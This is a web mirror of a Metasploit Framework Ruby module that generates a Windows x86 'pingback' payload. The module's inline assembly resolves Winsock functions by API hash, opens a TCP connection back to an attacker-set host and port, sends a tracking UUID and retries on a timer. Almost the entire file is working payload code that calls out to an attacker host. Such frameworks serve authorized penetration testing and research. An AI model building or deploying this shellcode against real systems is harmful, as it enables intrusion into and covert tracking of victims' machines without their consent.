CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/windows/pingback_reverse_tcp.rb
Views: 11766
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 307
10
11
include Msf::Payload::Windows
12
include Msf::Payload::Single
13
include Msf::Payload::Pingback
14
include Msf::Payload::Windows::BlockApi
15
include Msf::Payload::Pingback::Options
16
include Msf::Payload::Windows::Exitfunk
17
18
def initialize(info = {})
19
super(
20
merge_info(
21
info,
22
'Name' => 'Windows x86 Pingback, Reverse TCP Inline',
23
'Description' => 'Connect back to attacker and report UUID (Windows x86)',
24
'Author' => [ 'bwatters-r7' ],
25
'License' => MSF_LICENSE,
26
'Platform' => 'win',
27
'Arch' => ARCH_X86,
28
'Handler' => Msf::Handler::ReverseTcp,
29
'Session' => Msf::Sessions::Pingback
30
)
31
)
32
33
def required_space
34
# Start with our cached default generated size
35
space = cached_size
36
37
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
38
space += 15
39
40
space
41
end
42
43
def generate(_opts = {})
44
encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')
45
encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || '127.127.127.127').unpack1('V')
46
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
47
pingback_count = datastore['PingbackRetries']
48
pingback_sleep = datastore['PingbackSleep']
49
self.pingback_uuid ||= generate_pingback_uuid
50
uuid_as_db = '0x' + self.pingback_uuid.chars.each_slice(2).map(&:join).join(',0x')
51
conf = { exitfunk: datastore['EXITFUNC'] }
52
53
asm = %^
54
cld ; Clear the direction flag.
55
call start ; Call start, this pushes the address of 'api_call' onto the stack.
56
#{asm_block_api}
57
start:
58
pop ebp
59
; Input: EBP must be the address of 'api_call'.
60
; Output: EDI will be the socket for the connection to the server
61
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
62
reverse_tcp:
63
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
64
push 'ws2_' ; ...
65
push esp ; Push a pointer to the "ws2_32" string on the stack.
66
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
67
mov eax, ebp
68
call eax ; LoadLibraryA( "ws2_32" )
69
70
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
71
sub esp, eax ; alloc some space for the WSAData structure
72
push esp ; push a pointer to this struct
73
push eax ; push the wVersionRequested parameter
74
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
75
call ebp ; WSAStartup( 0x0190, &WSAData );
76
77
set_address:
78
push #{pingback_count} ; retry counter
79
push #{retry_count} ; retry counter
80
push #{encoded_host} ; host in little-endian format
81
push #{encoded_port} ; family AF_INET and port number
82
mov esi, esp ; save pointer to sockaddr struct
83
84
create_socket:
85
push eax ; if we succeed, eax will be zero, push zero for the flags param.
86
push eax ; push null for reserved parameter
87
push eax ; we do not specify a WSAPROTOCOL_INFO structure
88
push eax ; we do not specify a protocol
89
inc eax ;
90
push eax ; push SOCK_STREAM
91
inc eax ;
92
push eax ; push AF_INET
93
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
94
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
95
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
96
97
try_connect:
98
push 16 ; length of the sockaddr struct
99
push esi ; pointer to the sockaddr struct
100
push edi ; the socket
101
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
102
call ebp ; connect( s, &sockaddr, 16 );
103
104
test eax,eax ; non-zero means a failure
105
jz connected
106
107
handle_connect_failure:
108
; decrement our attempt count and try again
109
dec dword [esi+8]
110
jnz try_connect
111
failure:
112
call exitfunk
113
; this label is required so that reconnect attempts include
114
; the UUID stuff if required.
115
connected:
116
send_pingback:
117
push 0 ; flags
118
push #{uuid_as_db.split(',').length} ; length of the PINGBACK UUID
119
call get_pingback_address ; put pingback_uuid buffer on the stack
120
db #{uuid_as_db} ; PINGBACK_UUID
121
get_pingback_address:
122
push edi ; saved socket
123
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
124
call ebp ; call send
125
126
cleanup_socket:
127
; clear up the socket
128
push edi ; socket handle
129
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
130
call ebp ; closesocket(socket)
131
^
132
if pingback_count > 0
133
asm << %^
134
mov eax, [esi+12]
135
test eax, eax ; pingback counter
136
jz exitfunk
137
dec [esi+12]
138
sleep:
139
push #{(pingback_sleep * 1000)}
140
push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
141
call ebp ;sleep(pingback_sleep * 1000)
142
jmp create_socket
143
^
144
end
145
asm << %(
146
; restore the stack back to the connection retry count
147
dec [esi+8] ; decrement the retry counter
148
jmp exitfunk
149
; try again
150
jnz create_socket
151
jmp failure
152
)
153
if conf[:exitfunk]
154
asm << asm_exitfunk(conf)
155
end
156
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
157
end
158
end
159
end
160
161